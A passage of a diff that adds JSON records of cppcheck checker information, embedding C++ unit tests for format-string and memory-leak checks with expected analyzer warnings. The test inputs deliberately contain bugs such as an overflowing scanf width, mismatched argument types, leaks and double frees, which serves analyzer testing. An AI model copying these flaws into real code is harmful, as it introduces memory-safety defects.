[invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) _tscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" char str[10];\\n\"\n \" scanf_s(\\\"%s %d %u %[a-z]\\\", str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) scanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" wchar_t str[10];\\n\"\n \" wscanf_s(L\\\"%s %d %u %[a-z]\\\", str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) wscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[8];\\n\"\n \" scanf_s(\\\"%8c\\\", str, sizeof(str));\\n\"\n \" scanf_s(\\\"%9c\\\", str, sizeof(str));\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Width 9 given in format string (no. 1) is larger than destination buffer 'str[8]', use %8c to prevent overflowing it. [invalidScanfFormatWidth]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" TCHAR txt[100];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" TCHAR str[10];\\n\"\n \" _stscanf_s(txt, _T(\\\"%s %d %u %[a-z]\\\"), str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) _stscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" TCHAR txt[100];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" TCHAR str[10];\\n\"\n \" _stscanf_s(txt, _T(\\\"%s %d %u %[a-z]\\\"), str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) _stscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char txt[100];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" char str[10];\\n\"\n \" sscanf_s(txt, \\\"%s %d %u %[a-z]\\\", str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) sscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t txt[100];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" wchar_t str[10];\\n\"\n \" swscanf_s(txt, L\\\"%s %d %u %[a-z]\\\", str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:6:5]: (warning) swscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" TCHAR str[10];\\n\"\n \" _ftscanf_s(fp, _T(\\\"%s %d %u %[a-z]\\\"), str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) _ftscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" TCHAR str[10];\\n\"\n \" _ftscanf_s(fp, _T(\\\"%s %d %u %[a-z]\\\"), str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) _ftscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" char str[10];\\n\"\n \" fscanf_s(fp, \\\"%s %d %u %[a-z]\\\", str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) fscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" wchar_t str[10];\\n\"\n \" fwscanf_s(fp, L\\\"%s %d %u %[a-z]\\\", str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) fwscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" WCHAR msStr1[5] = {0};\\n\"\n \" wscanf_s(L\\\"%4[^-]\\\", msStr1, _countof(msStr1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testQStringFormatArguments() {\n check(\"void foo(float f) {\\n\"\n \" QString string;\\n\"\n \" string.sprintf(\\\"%d\\\", f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'float'. [invalidPrintfArgType_sint]\\n\", errout_str());\n\n check(\"void foo(float f) {\\n\"\n \" QString string;\\n\"\n \" string = QString::asprintf(\\\"%d\\\", f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'float'. [invalidPrintfArgType_sint]\\n\", errout_str());\n }\n\n void testTernary() { // ticket #6182\n check(\"void test(const std::string &val) {\\n\"\n \" printf(\\\"%s\\\", val.empty() ? \\\"I like to eat bananas\\\" : val.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedConst() { // ticket #6321\n check(\"void test() {\\n\"\n \" unsigned const x = 5;\\n\"\n \" printf(\\\"%u\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testAstType() { // ticket #7014\n check(\"void test() {\\n\"\n \" printf(\\\"%c\\\", \\\"hello\\\"[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" printf(\\\"%lld\\\", (long long)1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" printf(\\\"%i\\\", (short *)x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) %i in format string (no. 1) requires 'int' but the argument type is 'signed short *'. [invalidPrintfArgType_sint]\\n\", errout_str());\n\n check(\"int (*fp)();\\n\" // #7178 - function pointer call\n \"void test() {\\n\"\n \" printf(\\\"%i\\\", fp());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testPrintf0WithSuffix() { // ticket #7069\n check(\"void foo() {\\n\"\n \" printf(\\\"%u %lu %llu\\\", 0U, 0UL, 0ULL);\\n\"\n \" printf(\\\"%u %lu %llu\\\", 0u, 0ul, 0ull);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testReturnValueTypeStdLib() {\n check(\"void f() {\\n\"\n \" const char *s = \\\"0\\\";\\n\"\n \" printf(\\\"%ld%lld\\\", atol(s), atoll(s));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8141\n check(\"void f(int i) {\\n\"\n \" printf(\\\"%f\\\", imaxabs(i));\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (portability) %f in format string (no. 1) requires 'double' but the argument type is 'intmax_t {aka signed long}'. [invalidPrintfArgType_float]\\n\", errout_str());\n }\n\n void testPrintfTypeAlias1() {\n check(\"using INT = int;\\n\\n\"\n \"using PINT = INT *;\\n\"\n \"using PCINT = const PINT;\\n\"\n \"INT i;\\n\"\n \"PINT pi;\\n\"\n \"PCINT pci;\"\n \"void foo() {\\n\"\n \" printf(\\\"%d %p %p\\\", i, pi, pci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using INT = int;\\n\\n\"\n \"using PINT = INT *;\\n\"\n \"using PCINT = const PINT;\\n\"\n \"INT i;\\n\"\n \"PINT pi;\\n\"\n \"PCINT pci;\"\n \"void foo() {\\n\"\n \" printf(\\\"%f %f %f\\\", i, pi, pci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'signed int'. [invalidPrintfArgType_float]\\n\"\n \"[test.cpp:8:5]: (warning) %f in format string (no. 2) requires 'double' but the argument type is 'signed int *'. [invalidPrintfArgType_float]\\n\"\n \"[test.cpp:8:5]: (warning) %f in format string (no. 3) requires 'double' but the argument type is 'const signed int *'. [invalidPrintfArgType_float]\\n\", errout_str());\n }\n\n void testPrintfAuto() { // #8992\n check(\"void f() {\\n\"\n \" auto s = sizeof(int);\\n\"\n \" printf(\\\"%zu\\\", s);\\n\"\n \" printf(\\\"%f\\\", s);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) %f in format string (no. 1) requires 'double' but the argument type is 'size_t {aka unsigned long}'. [invalidPrintfArgType_float]\\n\", errout_str());\n }\n\n void testPrintfParenthesis() { // #8489\n check(\"void f(int a) {\\n\"\n \" printf(\\\"%f\\\", (a >> 24) & 0xff);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'signed int'. [invalidPrintfArgType_float]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" printf(\\\"%f\\\", 0xff & (a >> 24));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'signed int'. [invalidPrintfArgType_float]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" printf(\\\"%f\\\", ((a >> 24) + 1) & 0xff);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'signed int'. [invalidPrintfArgType_float]\\n\", errout_str());\n }\n\n void testStdDistance() { // #10304\n check(\"void foo(const std::vector& IO, const int* pio) {\\n\"\n \"const auto Idx = std::distance(&IO.front(), pio);\\n\"\n \"printf(\\\"Idx = %td\\\", Idx);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testParameterPack() { // #11289\n check(\"template auto f(const char* format, const Args&... args) {\\n\"\n \" return snprintf(nullptr, 0, format, args...);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(\\\"%d%d\\\", 1, 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // TODO: we need to run big tests with a platform that has unsigned chars\n void testDefaultSignInt() { // #13363\n // Platform::defaultSign should only affect char\n const char code[] =\n \"void f() {\\n\"\n \" double d = 1\\n;\"\n \" printf(\\\"%i\\\", int(d));\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.defaultSign = 's'));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.defaultSign = 'u'));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testPrintfWithGeneric() { // #13592\n const char code[] =\n \"void f(void) {\\n\"\n \" float x = 27.0f;\\n\"\n \" printf(\\\"%s\\\\n\\\", _Generic(x, double: cbrt, float: cbrtf)(x));\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestIO)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkFileUsage.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkFileUsage.json new file mode 100644 index 0000000..6e00605 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkFileUsage.json @@ -0,0 +1,13 @@ +{ + "name": "checkFileUsage", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 223, + "branches": 97, + "apis": 233, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkWrongPrintfScanfArguments.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkWrongPrintfScanfArguments.json new file mode 100644 index 0000000..0074e30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkWrongPrintfScanfArguments.json @@ -0,0 +1,13 @@ +{ + "name": "checkWrongPrintfScanfArguments", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 62, + "branches": 28, + "apis": 62, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/invalidScanf.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/invalidScanf.json new file mode 100644 index 0000000..ce9c574 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/invalidScanf.json @@ -0,0 +1,13 @@ +{ + "name": "invalidScanf", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 38, + "branches": 19, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckLeakAutoVar/check.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckLeakAutoVar/check.json new file mode 100644 index 0000000..7c5883d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckLeakAutoVar/check.json @@ -0,0 +1,23 @@ +{ + "name": "check", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 16, + "branches": 3, + "apis": 7, + "test": [ + { + "description": null, + "expected-problems": 2, + "expected-linenumbers": [ + 903, + 3084 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkleakautovar.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestLeakAutoVar : public TestFixture {\npublic:\n TestLeakAutoVar() : TestFixture(\"TestLeakAutoVar\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Assign\n TEST_CASE(assign1);\n TEST_CASE(assign2);\n TEST_CASE(assign3);\n TEST_CASE(assign4);\n TEST_CASE(assign5);\n TEST_CASE(assign6);\n TEST_CASE(assign7);\n TEST_CASE(assign8);\n TEST_CASE(assign9);\n TEST_CASE(assign10);\n TEST_CASE(assign11); // #3942: x = a(b(p));\n TEST_CASE(assign12); // #4236: FP. bar(&x);\n TEST_CASE(assign13); // #4237: FP. char*&ref=p; p=malloc(10); free(ref);\n TEST_CASE(assign14);\n TEST_CASE(assign15);\n TEST_CASE(assign16);\n TEST_CASE(assign17); // #9047\n TEST_CASE(assign18);\n TEST_CASE(assign19);\n TEST_CASE(assign20); // #9187\n TEST_CASE(assign21); // #10186\n TEST_CASE(assign22); // #9139\n TEST_CASE(assign23);\n TEST_CASE(assign24); // #7440\n TEST_CASE(assign25);\n TEST_CASE(assign26);\n\n TEST_CASE(memcpy1); // #11542\n TEST_CASE(memcpy2);\n\n TEST_CASE(isAutoDealloc);\n\n TEST_CASE(realloc1);\n TEST_CASE(realloc2);\n TEST_CASE(realloc3);\n TEST_CASE(realloc4);\n TEST_CASE(realloc5); // #9292, #9990\n TEST_CASE(freopen1);\n TEST_CASE(freopen2);\n\n TEST_CASE(deallocuse1);\n TEST_CASE(deallocuse3);\n TEST_CASE(deallocuse4);\n TEST_CASE(deallocuse5); // #4018: FP. free(p), p = 0;\n TEST_CASE(deallocuse6); // #4034: FP. x = p = f();\n TEST_CASE(deallocuse7); // #6467, #6469, #6473\n TEST_CASE(deallocuse8); // #1765\n TEST_CASE(deallocuse9); // #9781\n TEST_CASE(deallocuse10);\n TEST_CASE(deallocuse11); // #8302\n TEST_CASE(deallocuse12);\n TEST_CASE(deallocuse13);\n TEST_CASE(deallocuse14);\n TEST_CASE(deallocuse15);\n TEST_CASE(deallocuse16); // #8109: delete with comma operator\n\n TEST_CASE(doublefree1);\n TEST_CASE(doublefree2);\n TEST_CASE(doublefree3); // #4914\n TEST_CASE(doublefree4); // #5451 - FP when exit is called\n TEST_CASE(doublefree5); // #5522\n TEST_CASE(doublefree6); // #7685\n TEST_CASE(doublefree7);\n TEST_CASE(doublefree8);\n TEST_CASE(doublefree9);\n TEST_CASE(doublefree10); // #8706\n TEST_CASE(doublefree11);\n TEST_CASE(doublefree12); // #10502\n TEST_CASE(doublefree13); // #11008\n TEST_CASE(doublefree14); // #9708\n TEST_CASE(doublefree15);\n TEST_CASE(doublefree16);\n TEST_CASE(doublefree17); // #8109: delete with comma operator\n TEST_CASE(doublefree18);\n TEST_CASE(doublefree19); // #13960\n\n // exit\n TEST_CASE(exit1);\n TEST_CASE(exit2);\n TEST_CASE(exit3);\n TEST_CASE(exit4);\n\n // handling function calls\n TEST_CASE(functioncall1);\n\n // goto\n TEST_CASE(goto1);\n TEST_CASE(goto2);\n TEST_CASE(goto3); // #11431\n\n // if/else\n TEST_CASE(ifelse1);\n TEST_CASE(ifelse2);\n TEST_CASE(ifelse3);\n TEST_CASE(ifelse4);\n TEST_CASE(ifelse5);\n TEST_CASE(ifelse6); // #3370\n TEST_CASE(ifelse7); // #5576 - if (fd < 0)\n TEST_CASE(ifelse8); // #5747 - if (fd == -1)\n TEST_CASE(ifelse9); // #5273 - if (X(p==NULL, 0))\n TEST_CASE(ifelse10); // #8794 - if (!(x!=NULL))\n TEST_CASE(ifelse11); // #8365 - if (NULL == (p = malloc(4)))\n TEST_CASE(ifelse12); // #8340 - if ((*p = malloc(4)) == NULL)\n TEST_CASE(ifelse13); // #8392\n TEST_CASE(ifelse14); // #9130 - if (x == (char*)NULL)\n TEST_CASE(ifelse15); // #9206 - if (global_ptr = malloc(1))\n TEST_CASE(ifelse16); // #9635 - if (p = malloc(4), p == NULL)\n TEST_CASE(ifelse17); // if (!!(!p))\n TEST_CASE(ifelse18);\n TEST_CASE(ifelse19);\n TEST_CASE(ifelse20); // #10182\n TEST_CASE(ifelse21);\n TEST_CASE(ifelse22); // #10187\n TEST_CASE(ifelse23); // #5473\n TEST_CASE(ifelse24); // #1733\n TEST_CASE(ifelse25); // #9966\n TEST_CASE(ifelse26);\n TEST_CASE(ifelse27);\n TEST_CASE(ifelse28); // #11038\n TEST_CASE(ifelse29);\n\n // switch\n TEST_CASE(switch1);\n\n // loops\n TEST_CASE(loop1);\n TEST_CASE(loop2);\n\n // mismatching allocation/deallocation\n TEST_CASE(mismatchAllocDealloc);\n\n TEST_CASE(smartPointerDeleter);\n TEST_CASE(smartPointerRelease);\n\n // Execution reaches a 'return'\n TEST_CASE(return1);\n TEST_CASE(return2);\n TEST_CASE(return3);\n TEST_CASE(return4);\n TEST_CASE(return5);\n TEST_CASE(return6); // #8282 return {p, p}\n TEST_CASE(return7); // #9343 return (uint8_t*)x\n TEST_CASE(return8);\n TEST_CASE(return9);\n TEST_CASE(return10);\n TEST_CASE(return11); // #13098\n TEST_CASE(return12); // #12238\n\n // General tests: variable type, allocation type, etc\n TEST_CASE(test1);\n TEST_CASE(test2);\n TEST_CASE(test3); // #3954 - reference pointer\n TEST_CASE(test4); // #5923 - static pointer\n TEST_CASE(test5); // unknown type\n\n // Execution reaches a 'throw'\n TEST_CASE(throw1);\n TEST_CASE(throw2);\n\n // Possible leak => Further configuration is needed for complete analysis\n TEST_CASE(configuration1);\n TEST_CASE(configuration2);\n TEST_CASE(configuration3);\n TEST_CASE(configuration4);\n TEST_CASE(configuration5);\n TEST_CASE(configuration6);\n\n TEST_CASE(ptrptr);\n\n TEST_CASE(nestedAllocation);\n TEST_CASE(testKeywords); // #6767\n\n TEST_CASE(inlineFunction); // #3989\n\n TEST_CASE(smartPtrInContainer); // #8262\n\n TEST_CASE(functionCallCastConfig); // #9652\n TEST_CASE(functionCallLeakIgnoreConfig); // #7923\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = false;\n const Settings *s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).checkLibrary().build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for leaks..\n runChecks(tokenizer, this);\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], const Settings & s) {\n const Settings settings0 = settingsBuilder(s).checkLibrary().build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for leaks..\n runChecks(tokenizer, this);\n }\n\n void assign1() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p = NULL;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:5]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign2() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" char *q = p;\\n\"\n \" free(q);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign3() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" char *q = p + 1;\\n\"\n \" free(q - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign4() {\n check(\"void f() {\\n\"\n \" char *a = malloc(10);\\n\"\n \" a += 10;\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign5() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *p = new char[100];\\n\"\n \" list += p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign6() { // #2806 - FP when there is redundant assignment\n check(\"void foo() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p = strcpy(p,q);\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign7() {\n check(\"void foo(struct str *d) {\\n\"\n \" struct str *p = malloc(10);\\n\"\n \" d->p = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign8() { // linux list\n check(\"void foo(struct str *d) {\\n\"\n \" struct str *p = malloc(10);\\n\"\n \" d->p = &p->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign9() {\n check(\"void foo() {\\n\"\n \" char *p = x();\\n\"\n \" free(p);\\n\"\n \" p = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign10() {\n check(\"void foo() {\\n\"\n \" char *p;\\n\"\n \" if (x) { p = malloc(10); }\\n\"\n \" if (!x) { p = NULL; }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign11() { // #3942 - FP for x = a(b(p));\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" x = a(b(p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:4:1]: (information) --check-library: Function b() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n }\n\n void assign12() { // #4236: FP. bar(&x)\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" free(p);\\n\"\n \" bar(&p);\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign13() { // #4237: FP. char *&ref=p; p=malloc(10); free(ref);\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" char * &ref = p;\\n\"\n \" p = malloc(10);\\n\"\n \" free(ref);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign14() {\n check(\"void f(int x) {\\n\"\n \" char *p;\\n\"\n \" if (x && (p = malloc(10))) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:35]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" char *p;\\n\"\n \" if 